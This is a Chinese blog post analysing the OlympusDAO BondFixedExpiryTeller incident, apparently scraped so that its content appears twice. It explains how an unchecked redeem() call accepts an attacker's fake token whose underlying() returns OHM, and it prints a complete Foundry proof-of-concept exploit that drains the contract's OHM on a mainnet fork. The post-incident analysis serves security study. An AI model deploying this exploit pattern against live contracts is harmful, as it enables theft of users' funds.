OlympusDAO事件分析
OlympusDAO事件分析
![1.png](https://img.learnblockchain.cn/attachments/2022/10/jFmEtyXr635a8d58453e8.png)
# 2、攻击分析
交易:https://phalcon.blocksec.com/tx/eth/0x3ed75df83d907412af874b7998d911fdf990704da87c2b1a8cf95ca5d21504cf
# 3、获利分析
![2.png](https://img.learnblockchain.cn/attachments/2022/10/pUPESch2635a8da1f133a.png)
# 4、攻击过程分析
![3.png](https://img.learnblockchain.cn/attachments/2022/10/U6enKvV6635a8ddfe0ce7.png)
通过分析交易过程,可以看到攻击合同(0xa29e4fe)先调用了BondFixedExpiryTeller 的redeem 函数,函数最终调用了ERC20代币合约 OHM 的transfer 函数,直接将OHM代币全部转移。
查看问题合约的redeem函数,发现其权限为 external ,攻击者只需要先部署合约设置函数 expiry()、burn()、underlying(),使得满足程序运行条件。因为token_.underlying() 返回的值也是可控的,攻击者直接将其设置为OHM 合约的地址,直接将代币转移。
![4.png](https://img.learnblockchain.cn/attachments/2022/10/6zkVzoe5635a8e07ba7cc.png)
# 5、漏洞复现
漏洞复现代码参考:https://github.com/SunWeb3Sec/DeFiHackLabs/blob/main/src/test/OlympusDao.exp.sol
```
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.10;
import "forge-std/Test.sol";
import "./interface.sol"; //包括 ERC20 等常用接口
CheatCodes constant cheat = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D); //特殊含义地址,foundry固定
address constant OHM = 0x64aa3364F17a4D01c6f1751Fd97C2BD3D7e7f1D5; //定义相关合约地址
address constant BondFixedExpiryTeller = 0x007FE7c498A2Cf30971ad8f2cbC36bd14Ac51156;
interface IBondFixedExpiryTeller { //定义相关接口合约
function redeem(address token_, uint256 amount_) external;
}
contract FakeToken { //自定义利用合约,可用于后续使用 new 方法生成新合约
function underlying() external view returns(address) {
return OHM;
}
function expiry() external pure returns (uint48 _expiry) {
return 1;
}
function burn(address,uint256) external {
// no thing
}
}
contract AttackContract is Test { //攻击合约,需继承foudry Test合约
function setUp() public { //设置相关利用环境,可直接使用全局变量 vm
vm.createSelectFork("mainnet", 15794363); //选择链,设置被攻击前最近区块
cheat.label(OHM, "OHM"); //可设置相关标签,便于查看日志信息
cheat.label(BondFixedExpiryTeller, "BondFixedExpiryTeller");
}
function testExploit() public {
console.log("---------- Start from Block %s ----------", block.number); //打印日志信息
emit log_named_decimal_uint("Attacker OHM Balance", IERC20(OHM).balanceOf(address(BondFixedExpiryTeller)), 9);
address fakeToken = address(new FakeToken()); //创建新合约
cheat.label(fakeToken, "FakeToken");
// console.log("Deploy fake token on ", fakeToken);
IBondFixedExpiryTeller(BondFixedExpiryTeller).redeem(fakeToken, IERC20(OHM).balanceOf(address(BondFixedExpiryTeller)));
console.log("Redeeming");
emit log_named_decimal_uint("Attacker OHM Balance after hack", IERC20(OHM).balanceOf(address(this)), 9);
}
}
```
成功获取代币:
![6.png](https://img.learnblockchain.cn/attachments/2022/10/DDZapccJ635a8e653715f.png)
1、OlympusDao事件简介
https://twitter.com/peckshield/status/1583416829237526528
2、攻击分析
交易:https://phalcon.blocksec.com/tx/eth/0x3ed75df83d907412af874b7998d911fdf990704da87c2b1a8cf95ca5d21504cf
3、获利分析
4、攻击过程分析
通过分析交易过程,可以看到攻击合同(0xa29e4fe)先调用了BondFixedExpiryTeller 的redeem 函数,函数最终调用了ERC20代币合约 OHM 的transfer 函数,直接将OHM代币全部转移。 查看问题合约的redeem函数,发现其权限为 external ,攻击者只需要先部署合约设置函数 expiry()、burn()、underlying(),使得满足程序运行条件。因为token_.underlying() 返回的值也是可控的,攻击者直接将其设置为OHM 合约的地址,直接将代币转移。
5、漏洞复现
漏洞复现代码参考:https://github.com/SunWeb3Sec/DeFiHackLabs/blob/main/src/test/OlympusDao.exp.sol
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.10;
import "forge-std/Test.sol";
import "./interface.sol"; //包括 ERC20 等常用接口
CheatCodes constant cheat = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D); //特殊含义地址,foundry固定
address constant OHM = 0x64aa3364F17a4D01c6f1751Fd97C2BD3D7e7f1D5; //定义相关合约地址
address constant BondFixedExpiryTeller = 0x007FE7c498A2Cf30971ad8f2cbC36bd14Ac51156;
interface IBondFixedExpiryTeller { //定义相关接口合约
function redeem(address token_, uint256 amount_) external;
}
contract FakeToken { //自定义利用合约,可用于后续使用 new 方法生成新合约
function underlying() external view returns(address) {
return OHM;
}
function expiry() external pure returns (uint48 _expiry) {
return 1;
}
function burn(address,uint256) external {
// no thing
}
}
contract AttackContract is Test { //攻击合约,需继承foudry Test合约
function setUp() public { //设置相关利用环境,可直接使用全局变量 vm
vm.createSelectFork("mainnet", 15794363); //选择链,设置被攻击前最近区块
cheat.label(OHM, "OHM"); //可设置相关标签,便于查看日志信息
cheat.label(BondFixedExpiryTeller, "BondFixedExpiryTeller");
}
function testExploit() public {
console.log("---------- Start from Block %s ----------", block.number); //打印日志信息
emit log_named_decimal_uint("Attacker OHM Balance", IERC20(OHM).balanceOf(address(BondFixedExpiryTeller)), 9);
address fakeToken = address(new FakeToken()); //创建新合约
cheat.label(fakeToken, "FakeToken");
// console.log("Deploy fake token on ", fakeToken);
IBondFixedExpiryTeller(BondFixedExpiryTeller).redeem(fakeToken, IERC20(OHM).balanceOf(address(BondFixedExpiryTeller)));
console.log("Redeeming");
emit log_named_decimal_uint("Attacker OHM Balance after hack", IERC20(OHM).balanceOf(address(this)), 9);
}
}
成功获取代币:
本文参与区块链技术网 ,好文好收益,欢迎正在阅读的你也加入。
- 发表于 2022-10-27 22:01
- 阅读 ( 2804 )
- 学分 ( 14 )
- 分类:安全
评论